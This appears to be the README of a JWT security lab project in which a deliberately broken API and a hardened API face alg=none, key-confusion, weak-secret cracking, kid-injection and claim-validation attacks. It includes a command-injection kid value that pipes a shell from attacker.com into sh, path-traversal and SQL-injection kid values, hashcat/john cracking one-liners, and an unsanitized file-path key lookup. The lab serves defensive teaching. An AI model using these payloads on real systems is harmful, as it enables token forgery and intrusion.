A hands-on application security project that demonstrates the most common real-world JWT vulnerabilities and how to fix them properly. The lab runs two HTTP APIs side-by-side:
vulnerable-api(port4000) — intentionally broken implementationsecure-api(port4001) — hardened, production-grade implementation
Every attack in attacks/ succeeds against the vulnerable API
and fails against the secure API, so the defensive work is demonstrable, not
theoretical.
Built as a portfolio project for AppSec / product-security roles. Focus is on showing clear offensive and defensive reasoning in the same codebase.
- Architecture
- Quick start
- Vulnerabilities and fixes
- Defensive design of the secure API
- Media placement guide
- Project layout
┌─────────────────────────┐
curl / attack script │ vulnerable-api :4000 │ ◀── all attacks succeed
────────────────────▶│ (header-driven verify) │
└─────────────────────────┘
┌─────────────────────────┐
│ secure-api :4001 │ ◀── every attack fails
│ (RS256-only verify) │
└─────────────────────────┘
Both APIs share the same surface: POST /login, GET /me, GET /admin,
GET /jwks. They only differ in how tokens are issued and verified.
JWT signing and verification are implemented from scratch (no jsonwebtoken
library). This is a deliberate choice: a library would abstract away exactly
the decisions the lab is about.
📸 Screenshot slot —
docs/img/architecture.pngA cleaner architecture diagram (e.g. drawn in Excalidraw). Show the two services, the attacker, and which calls go where. Replace the ASCII block above with the image once created.
# Build and start both APIs
docker compose up --build
# Verify they are up
curl -s localhost:4000/health # {"status":"ok","mode":"vulnerable"}
curl -s localhost:4001/health # {"status":"ok","mode":"secure"}
# Run every attack against both APIs
./attacks/run-all.shLocal (non-Docker) dev:
cd vulnerable-api && npm install && npm run dev # :4000
cd secure-api && npm install && npm run dev # :4001Default accounts (both APIs):
| user | password | role |
|---|---|---|
| alice | password123 | user |
| admin | hunter2 | admin |
🎬 Video slot —
docs/video/quickstart.mp430–60 second screencast:docker compose up, hitting/healthon both ports, then running./attacks/run-all.shand showing the clear "works on 4000, fails on 4001" split. This is the first video a recruiter will watch.
Each section below follows the same structure:
- Theory — what the vulnerability is and why it exists in the wild
- Exploit — the attack script and what it does
- Root cause — the exact lines of vulnerable code
- Fix — how the secure API prevents it
Theory. The JWT spec defines an unsecured token type where the alg
header is none and the signature segment is empty. Verifiers that honor the
token-supplied algorithm will accept any unsigned token as valid — a class of
bug tracked as CVE-2015-9235 and its many descendants.
Exploit. attacks/01-alg-none.sh
./attacks/01-alg-none.sh
# → {"secret":"flag{admin-area-vulnerable}"}Root cause. vulnerable-api/src/jwt/verify.ts branches on the header's
alg field and short-circuits on alg=none when the signature is empty.
Fix. secure-api/src/jwt/verify.ts enforces an allowlist of a single
algorithm (RS256) and rejects every other value before any key material is
touched. The HMAC code path does not exist at all.
📸 Screenshot slot —
docs/img/01-alg-none.pngTerminal output of./attacks/01-alg-none.shshowing the forged token and theflag{…}response. Include the full command so viewers can see the empty third segment (header.payload.).
Theory. When a verifier accepts both asymmetric (RS256) and symmetric (HS256) tokens, and picks which key to use based on the token header, an attacker who has the RSA public key can craft an HS256 token whose HMAC secret is the public key bytes. The server, thinking it is doing an HMAC check, uses the same bytes and the signature matches. The attacker impersonates anyone.
Exploit. attacks/02-hs-rs-confusion.sh
The script:
- Fetches the RSA public key from
GET /jwks.pem. - Builds an
adminpayload withalg=HS256andkid=rsa-pub. - HMACs
header.payloadusing the PEM bytes of the public key. - Sends the token to
/adminand receives the admin flag.
Root cause. The vulnerable verifier resolves the signing key by kid
first (even when alg=HS256) and then HMACs with whatever bytes it loaded.
Fix. The secure API has no HMAC code path. alg must be RS256, kid
must be a value from a fixed in-memory registry, and signature verification
is always asymmetric. Key confusion is impossible by construction, not by
validation.
📸 Screenshot slot —
docs/img/02-key-confusion.pngTwo terminals side-by-side (or a single vertical split):
- Left: attack succeeds on
:4000.- Right: the same token rejected by
:4001with401 invalid token.This is the single most impressive screenshot in the project — it shows an AppSec candidate who understands both the bug class and how to design it out.
Theory. HS256 security collapses to the entropy of the secret. Any token
gives an attacker a hash they can crack offline. Secrets like secret,
secret123, changeme, or anything in rockyou.txt will fall in seconds on
commodity hardware (hashcat mode 16500 / john HMAC-SHA256).
Exploit. attacks/03-weak-secret-bruteforce.sh
The script logs in as alice, recovers the secret secret123 from a tiny
dictionary, and then mints an admin token.
Real engagement one-liners:
# hashcat
echo "<TOKEN>" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# john
echo "<TOKEN>" > jwt.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txtRoot cause. vulnerable-api/src/keys/index.ts hardcodes
HS_SECRET = "secret123".
Fix. The secure API does not use HMAC signing at all. Tokens are signed with a 2048-bit RSA private key that never leaves the server. Even if the public key leaks (it's supposed to), forgery requires breaking RSA.
📸 Screenshot slot —
docs/img/03-bruteforce.pngOutput of the attack script showing the recovered secret and the forged admin token being accepted.🎬 Optional video —
docs/video/03-hashcat.mp4Optional 20-second clip of realhashcat -m 16500cracking the token againstrockyou.txt. Strong signal that you know the practical tooling, not just the theory.
Theory. The kid (key ID) header tells a verifier which key to use. If
the verifier treats kid as a filesystem path, database key, or command
argument without sanitization, an attacker controls which bytes become the
verification key.
Common real-world forms:
- Path traversal:
kid="../../../../dev/null"→ empty key - SQL injection:
kid="' UNION SELECT 'attacker-secret"→ chosen key - Command injection:
kid="key.pem; curl attacker.com/shell | sh"
Exploit. attacks/04-kid-injection.sh
Vulnerable verifier:
const path = join(KEY_STORE_DIR, kid); // no sanitization
return readFileSync(path);The attack points kid at /dev/null, which returns 0 bytes. The attacker
HMACs with an empty key locally and the server HMACs with the same empty
key — signature matches.
Fix. The secure API never uses kid to look up files. It looks up a
fixed in-memory registry:
const pub = getVerifyingKey(header.kid); // returns null for unknown kids
if (!pub) throw new JwtError();Unknown kid values are rejected outright.
📸 Screenshot slot —
docs/img/04-kid-injection.pngShow the traversalkidvalue in the decoded header (via jwt.io orjwt-cli) and the admin response from the vulnerable API.
Theory. A valid signature only proves the token was issued by someone with the key. It does not prove the token is for this service, for this moment in time, or for a live session. Claim validation closes the gap:
exp— token must not be expirednbf— token must be usable by nowiat— token must not be from the futureiss— token must be from the expected issueraud— token must be for this servicejti— unique identifier, required for revocation / replay protection
Exploit. attacks/05-missing-claim-validation.sh
The script mints a token with:
expin the year 2001iss: "some-other-service"aud: "not-this-api"
The vulnerable API accepts it. A token stolen from any other service sharing the same HMAC secret (or, more realistically, an old DB dump) would work equally well.
Fix. The secure verifier checks every claim with a small clock-skew window, rejects tokens missing required claims, and is implemented as a straight-line sequence of checks for auditability.
📸 Screenshot slot —
docs/img/05-claim-validation.pngDecode the expired token on jwt.io to show theexpis in the past, then show:4000accepting it and:4001returning 401.
Rather than patching each vulnerability individually, the secure API is designed so entire bug classes cannot occur. This is the kind of thinking AppSec interviewers look for.
| Control | Where | Eliminates |
|---|---|---|
Single-algorithm allowlist (RS256) |
secure-api/src/jwt/verify.ts |
alg=none, HS/RS confusion, downgrade attacks |
| No HMAC code path at all | secure-api/src/jwt/* |
Weak-secret brute-force by construction |
kid resolved against fixed registry |
secure-api/src/keys/index.ts |
Path traversal, SQLi, command injection via kid |
| Full claim validation with skew window | secure-api/src/jwt/verify.ts |
Expired-token replay, cross-service token reuse |
| Generic error messages | verifySecure throws one JwtError |
Oracle attacks that learn which check failed |
| Password hashing with scrypt + per-user salt | secure-api/src/users.ts |
Offline password cracking if DB leaks |
Key rotation built-in (kid registry) |
secure-api/src/keys/index.ts |
Lack of a rollover path when a key is compromised |
Design choices I'd expect to defend in an interview:
- RS256 over HS256. Removes the "shared secret between every service" anti-pattern and makes a verifying party safe to expose publicly.
- Single allowed algorithm over an allowlist of many. Every extra algorithm is a verification code path that can go wrong.
- Fail closed on anything unexpected. Unknown
kid, missing claim, unparseable header — all produce the same401 invalid token. No information leakage to a probing client. - Key material never parameterized by user input.
kidis a lookup key, not a path component.
This section is a checklist for what to record or screenshot before
publishing the repo to a portfolio site. Put static images under
docs/img/ and videos/GIFs under docs/video/. Reference them from the
relevant README section using the slot markers above.
Directory layout to create before taking media:
docs/
├── img/
│ ├── architecture.png
│ ├── 01-alg-none.png
│ ├── 02-key-confusion.png
│ ├── 03-bruteforce.png
│ ├── 04-kid-injection.png
│ └── 05-claim-validation.png
└── video/
├── quickstart.mp4 # 30–60s: compose up + run-all.sh
└── 03-hashcat.mp4 # optional: real hashcat crack
Recommended tools:
- Screenshots: any OS tool; crop tightly, use a readable dark theme.
- Screencasts: asciinema for terminal recordings
(lightweight, embeddable as GIF via
agg), or OBS for higher-fidelity captures that include multiple windows. - Diagrams: Excalidraw for architecture.
What to show in each capture is noted inline at every 📸 / 🎬 slot in the sections above.
jwtsecuritylab/
├── vulnerable-api/ # Intentionally broken implementation
│ └── src/
│ ├── jwt/ # From-scratch sign/verify with deliberate flaws
│ ├── keys/ # Weak HMAC secret + filesystem key store
│ └── routes/ # /login, /me, /admin, /jwks, /jwks.pem
├── secure-api/ # Hardened mirror implementation
│ └── src/
│ ├── jwt/ # RS256-only, strict verify
│ ├── keys/ # Fixed registry, in-memory kid lookup, rotation-ready
│ └── routes/ # Same surface, safe internals
├── attacks/ # One script per vulnerability + run-all.sh
├── docker-compose.yml # Both services on :4000 and :4001
└── CLAUDE.md # Project rules / design principles
MIT — lab use only. Do not deploy vulnerable-api to a public network.